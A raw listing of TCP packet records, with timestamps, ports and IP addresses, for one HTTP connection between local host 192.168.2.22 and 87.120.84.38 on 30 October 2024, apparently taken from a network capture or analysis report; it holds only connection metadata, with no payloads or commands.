Oct 30, 2024 08:14:18.813524008 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813775063 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813826084 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813832998 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813837051 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813858986 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813879967 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813901901 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813913107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813954115 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813972950 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.814591885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.814645052 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.814646959 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.814656019 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.814693928 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.814730883 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.814742088 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.814774990 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.815537930 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.815593004 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.818223953 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.818286896 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.818299055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.818311930 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.818332911 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.818336010 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.818377972 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.981829882 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.981851101 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.981959105 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.981992960 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.981998920 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982012033 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982016087 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982038975 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982057095 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982111931 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982125044 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982163906 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982219934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982261896 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982299089 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982310057 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982346058 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982407093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982417107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982450008 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982506990 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982650995 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982702971 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982702971 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982716084 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982743979 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982784986 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982796907 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982846975 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982860088 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982872009 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982898951 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.982942104 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.982975960 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983078003 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983127117 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983165979 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983175993 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983206034 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983297110 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983333111 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983354092 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983365059 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983392954 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983412027 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983462095 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983472109 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983511925 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983799934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983854055 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983861923 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983875036 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983900070 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983918905 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.983967066 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.983978033 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984004974 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984019995 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984106064 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984150887 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984181881 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984194040 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984225035 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984286070 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984296083 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984332085 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984504938 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984556913 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984591961 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984603882 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984636068 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984778881 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984790087 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984800100 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984811068 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984827995 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984847069 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.984982967 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.984994888 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.985004902 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.985018969 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.985030890 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.985050917 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.987344980 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.987399101 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.987401009 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.987412930 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.987445116 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.987471104 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.987519026 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151216030 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151256084 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151267052 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151324034 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151341915 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151371002 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151395082 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151408911 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151418924 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151448965 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151483059 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151524067 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151570082 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151581049 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151592016 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151611090 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151632071 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151720047 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151729107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151761055 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151789904 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151799917 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151808977 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151833057 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151851892 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151881933 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.151951075 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151962042 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151971102 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.151989937 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152008057 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152060032 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152096987 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152154922 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152163982 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152173042 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152184010 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152194977 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152195930 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152219057 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152318001 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152398109 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152407885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152424097 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152434111 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152443886 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152446032 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152465105 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152484894 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152611017 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152656078 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152659893 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152667999 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152700901 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152818918 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152827978 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152832985 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152838945 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152848005 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.152880907 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.152899981 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.153316021 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.153367043 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.153372049 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.153378010 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.153408051 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.153445005 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.153454065 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.153482914 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.153508902 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.153525114 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.153544903 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.153563023 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.154498100 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.154551983 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.154556990 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.154597998 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.154628992 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.154664993 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.154678106 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.154689074 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.154699087 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.154716969 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.154788971 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.156697035 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156739950 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156750917 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156760931 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.156785011 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.156843901 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156862020 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156882048 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.156900883 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.156948090 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156959057 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156968117 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.156989098 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157006979 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157049894 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157093048 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157105923 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157118082 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157145023 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157289982 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157299995 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157310009 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157320023 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157329082 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157331944 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157352924 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157378912 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157536983 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157546043 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157555103 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157566071 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157588959 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157602072 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157604933 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157636881 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157668114 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157677889 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157687902 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.157707930 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.157732010 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.158232927 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.158276081 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.158282042 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.158292055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.158320904 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.158333063 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.158354998 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.158366919 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.158387899 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.158406019 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159024000 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159075022 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159096003 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159106016 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159142017 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159145117 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159154892 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159182072 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159200907 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159240007 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159404993 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159461021 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159468889 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159471035 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159495115 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159527063 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.159542084 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159552097 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.159578085 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.160254955 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160325050 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.160325050 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160336018 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160358906 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160367966 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160372972 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.160381079 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160396099 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.160418987 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.160878897 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160914898 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160931110 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.160936117 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160958052 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160969019 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.160983086 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.160998106 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.161041021 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.161077023 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.161395073 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.161417961 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.161428928 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.161448002 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.161473989 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.161514997 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.161525965 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.161549091 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.161556005 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.161572933 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.161595106 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162058115 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162107944 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162120104 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162130117 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162153959 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162214041 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162250996 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162266016 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162276030 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162302017 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162307978 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162317991 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162328005 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162353039 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162374020 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.162395000 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162404060 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.162436008 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.320616007 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320660114 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320669889 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320712090 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320722103 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320769072 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.320789099 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320791006 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.320836067 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.320844889 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320854902 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320907116 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320908070 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.320945978 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.320950031 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.320982933 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.320996046 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321006060 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321039915 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321079016 CET	80	49165	87.120.84.38	192.168.2.22
